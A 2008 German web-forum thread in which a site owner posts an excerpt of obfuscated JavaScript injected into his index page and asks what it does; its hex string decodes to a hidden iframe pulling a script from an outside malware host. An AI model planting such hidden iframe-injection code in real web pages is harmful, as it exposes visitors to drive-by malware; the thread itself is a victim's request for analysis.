Anzeige - [Hier werben / Mediadaten]
(?) Tags raten (?) (edit)
 
Reply to this topicStart new topicStart Poll
Diskussion

Aiuch bei mir Hacker am Werk gewesen?

Thema abonnieren | Thema versenden | Thema drucken
Name nur für Mitglieder sichtbar
Geschrieben am: So 20.01.2008, 16:22
Report PostQuote Post

AyomRank 5
**********

Gruppe: Member (aktiv)
Beiträge: 469
Mitglied seit: 8.02.2007
Hallo,

ich hab da heute mal so durch mein Domainprotfolio geguckt und die eine oder andere uralte Domain entdeckt.

Auf einer Seite davon stand in der Statusleiste:

QUOTE
Auf www.robotraff.com wird gewartet


Ein Grund für mich, mir den Quelltext mal etwas näher anzuschauen. Was ich da gefunden hatte, kommt mir doch sehr spanisch vor:

Gekürzter Auszug:

QUOTE
<script type="text/javascript">
function F9F10F3CACC3CD9E77FA04(E0B85283E0CF654853FC1D75E){return(parseInt(E0B85283E0CF654853FC1D75E,16));}function CE5C7ED19B751AB3FABB77EDECB37F2(AEC0BC72D9EAA1FFA473B){function C9BC51A3D315E89ADAE7(){return 2;}var AAF2D37F4F635381D892361A73D="";for(FB74BEF3AE4A535220=0;FB74BEF3AE4A535220<AEC0BC72D9EAA1FFA473B.length;FB74BEF3AE4A535220+=C9BC51A3D315E89ADAE7()){AAF2D37F4F635381D892361A73D+=(String.fromCharCode(F9F10F3CACC3CD9E77FA04("3C696672616D65207372633D687474703A2F2F726F626F74726166662E636F6D2F7464732E7068703F74683D34342077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E");
</script><script type="text/javascript">
function F9F10F3CACC3CD9E77FA04(E0B85283E0CF654853FC1D75E){return(parseInt(E0B85283E0CF654853FC1D75E,16));}function CE5C7ED19B751AB3FABB77EDECB37F2(AEC0BC72D9EAA1FFA473B){function C9BC51A3D315E89ADAE7(){return 2;}var AAF2D37F4F635381D892361A73D="";for(FB74BEF3AE4A535220=0;FB74BEF3AE4A535220<AEC0BC72D9EAA1FFA473B.length;FB74BEF3AE4A535220+=C9BC51A3D315E89ADAE7()){AAF2D37F4F635381D892361A73D+=(String.fromCharCode(F9F10F3CACC3CD9E77FA04(AEC0BC72D9EAA1FFA473B.substr(FB74BEF3AE4A535220,C9BC51A3D315E89ADAE7()))));}document.write(AAF2D37F4F635381D892361A73D);}CE5C7ED19B751AB3FABB77EDECB37F2("
</script>


Da hat wohl jemand JavaScript in meine Index eingeschleust. Bin bei dem Hoster eigentlich mit wichtigen Projekten weg, weil es in den letzten Jahren dort immer und immer wieder Hacker geschafft hatten, iFrames in unzählige Index-Dokumente einzuspielen. Diesmal ist es scheinbar JavaScript.

Bin auf diesem Gebiet leider kein Experte, wüsste aber gern, was dieser Code hätte anrichten können.

Wenn also jemand was weiss, würd ich mich über ne Antwort freuen.


Gruß TTlong
Top
PMEmail Poster
Top
 
 
Alain_Aubert
#2 Geschrieben am: So 20.01.2008, 17:54 (+01:31)
Report PostQuote Post

Ayom Slave
Group Icon

Gruppe: Admin
Beiträge: 5044
Mitglied seit: 25.09.2003
Ich würd als erstes mal ne textarea um das script spannen und schauen, was es so ausprintet...
Oder im Firefox Ctrl-a und view selected source
Top
PMEmail PosterUsers Website
Top
 
Name nur für Mitglieder sichtbar
#3 Geschrieben am: So 20.01.2008, 18:16 (+00:21)
Report PostQuote Post

AyomRank 5
**********

Gruppe: Member (aktiv)
Beiträge: 469
Mitglied seit: 8.02.2007
Mit ner Textarea drum passiert nix, wird nur der Code an sich ausgegeben. Hab nochmal bisschen weiter geschaut, nach Beobachtung der Statusleiste wird zB auch mit s.u4ads[punkt]cn verbunden, dort steht dann:

ai siktir vee?

Was auch immer das heissen mag. Danach gegooglet findet man heraus, dass es sich wohl um DDoS Attacken oder Malware-Müll handelt (my english is very bad).

Leider sind die Seiten nicht in irgendeinem leserlichen Zustand, nur bruchstückhaft findet man etwas englisches dazu.
Top
PMEmail Poster
Top
 
Thema wird von 0 Benutzer(n) gelesen (0 Gäste und 0 anonyme Benutzer)
0 Mitglieder:
« Server Betriebssystem | Server-Technik, Domains & Security | DNS - DHCP3 - Nameserver »
Trackback-Url: http://www.ayom.com/track/t/22596
Dieses Thema abonnieren

Topic Options Reply to this topicStart new topicStart Poll

 


> Ähnliche Themen
Themen Titel Autor Views Antworten Letzte Aktion
jobberbase Software - Hacker Backdoor? AndreS. 368 3 So 3.08.2008, 09:21
german hacker webstarcom 380 5 Do 8.05.2008, 11:39
Hacker gesucht Tuemmel 656 5 Sa 23.02.2008, 17:56
Böse chinesische Hacker greifen an VoinG 527 4 Mi 5.09.2007, 22:31
Emailadressen Hacker Armada 606 13 So 12.08.2007, 18:24
Hacker schleichen sich in Google-Werbung ein sd12 1387 2 Do 10.05.2007, 11:10
Hacker/Spamer Siegfried_D 2096 20 Mo 12.02.2007, 19:33
wikipedia.de - Einstweilige Verfügung (Hacker vs. Felix Weber 595 7 Do 26.01.2006, 19:42
Hacker mit Postnuke-Erfahrung gesucht PH 492 2 Mo 18.07.2005, 16:22




Anzeige - [Hier werben / Mediadaten]



Anzeigen


[Hier werben / Mediadaten]